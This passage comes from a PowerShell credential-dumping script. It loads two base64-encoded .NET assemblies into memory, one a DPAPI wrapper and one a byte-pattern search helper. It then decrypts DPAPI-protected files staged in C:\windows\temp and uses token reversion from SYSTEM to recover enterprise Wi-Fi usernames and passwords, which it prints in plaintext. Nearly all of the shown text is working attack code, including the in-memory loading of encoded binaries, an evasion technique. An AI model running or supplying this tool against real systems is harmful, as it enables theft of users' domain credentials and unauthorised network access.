AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null

    [Reflection.Assembly]::Load([Convert]::FromBase64String("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YWdzAHBDaXBoZXJUZXh0AHBzekRlc2NyaXB0aW9uAHBzAGRhdGEAYmxvYgBwbGFpblRleHQAa2V5VHlwZQBlbnRyb3B5AGRlc2NyaXB0aW9uAHBsYWluVGV4dEJ5dGVzAGVudHJvcHlCeXRlcwBjaXBoZXJUZXh0AFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBPdXRBdHRyaWJ1dGUAY2lwaGVyVGV4dEJ5dGVzAGFyZ3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERsbEltcG9ydEF0dHJpYnV0ZQBjcnlwdDMyLmRsbABUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAE1hcnNoYWwAU2l6ZU9mAEJ5dGUAQWxsb2NIR2xvYmFsAEludFB0cgBaZXJvAG9wX0VxdWFsaXR5AEV4Y2VwdGlvbgBDb3B5AFN0cmluZwBFbXB0eQBTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfVVRGOABHZXRCeXRlcwBDb252ZXJ0AFRvQmFzZTY0U3RyaW5nAEdldExhc3RXaW4zMkVycm9yAFN5c3RlbS5Db21wb25lbnRNb2RlbABXaW4zMkV4Y2VwdGlvbgBvcF9JbmVxdWFsaXR5AEZyZWVIR2xvYmFsAEZyb21CYXNlNjRTdHJpbmcAR2V0U3RyaW5nAC5jY3RvcgBvcF9FeHBsaWNpdABTdHJ1Y3RMYXlvdXRBdHRyaWJ1dGUATGF5b3V0S2luZABTVEFUaHJlYWRBdHRyaWJ1dGUAQ29uc29sZQBXcml0ZUxpbmUAZ2V0X01lc3NhZ2UAZ2V0X0lubmVyRXhjZXB0aW9uAAAAZVUAbgBhAGIAbABlACAAdABvACAAYQBsAGwAbwBjAGEAdABlACAAZABhAHQAYQAgAGIAdQBmAGYAZQByACAAZgBvAHIAIABCAEwATwBCACAAcwB0AHIAdQBjAHQAdQByAGUALgAAQ0MAYQBuAG4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHAAbABhAGkAbgB0AGUAeAB0ACAAQgBMAE8AQgAuAAA/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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADAAAAJAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null
    
    [Reflection.Assembly]::Load([Convert]::FromBase64String("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YgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAAAwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")) | Out-Null

    $NullReferenceString = ""
    $ProtectedFiles = @()
    $ProtectedFiles += Get-ProtectedData
    if($ProtectedFiles.Length -eq 0)
    {
        Write-Output "Error: No DPAPI binary data was retrieved."
        return
    }
    Write-Verbose "Harvested $($ProtectedFiles.Length) files."

    # https://github.com/ash47/EnterpriseWifiPasswordRecover
    [byte[]]$PasswordPattern = @(0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01)
    [byte[]]$UsernamePattern = @(0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00)

    $ProtectedFiles | ForEach-Object {
        
        # calls DPAPI UnprotectData(byte[] encrypted, byte[] entropy, out string Description)

        $DecryptedData = [DPAPI]::Decrypt([IO.File]::ReadAllBytes("C:\windows\temp\$_"), [Text.Encoding]::UTF8.GetBytes([String]::Empty), [ref] $NullReferenceString)

        $UsernameOffset = [Pattern.Search]::Locate($DecryptedData, $UsernamePattern)[0]
        $PasswordOffset = [Pattern.Search]::Locate($DecryptedData, $PasswordPattern)[0]

        # Here we will have Username and Domain
        $DomainAndUsername = [Text.Encoding]::UTF8.GetString($DecryptedData[($UsernameOffset+8)..$PasswordOffset]) | Out-String
        $EncryptedPassword = $DecryptedData[$PasswordOffset..$DecryptedData.Length]
        
        # Removes last null bytes. (No Padding will be superior to 16 bytes)
        foreach($i in 0..16)
        {
            $EncryptedPassword = Remove-LastNullByte -Array $EncryptedPassword
        }

        $DumpFile = "C:\windows\temp\password.bin"
        [IO.File]::WriteAllBytes($DumpFile, $EncryptedPassword)

        # SYSTEM can't decrypt password files on it's own. Now we RevertToSelf() so we are able to decrypt it.
        $ReversionStatus = [Revert]::RevertBack();
        if($ReversionStatus -eq $false)
        {
            Write-Output "Could not revert back to user."
            return
        }

        # Last stage, if the line below succeeds, we have a plaintext password.
        $DecryptedPassword = [Text.Encoding]::UTF8.GetString([DPAPI]::Decrypt([IO.File]::ReadAllBytes($DumpFile), [Text.Encoding]::UTF8.GetBytes([String]::Empty), [ref] $NullReferenceString))
        Write-Output "Username: $DomainAndUsername"
        Write-Output "Password: $DecryptedPassword"
        
    } 

}


function Remove-LastNullByte
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
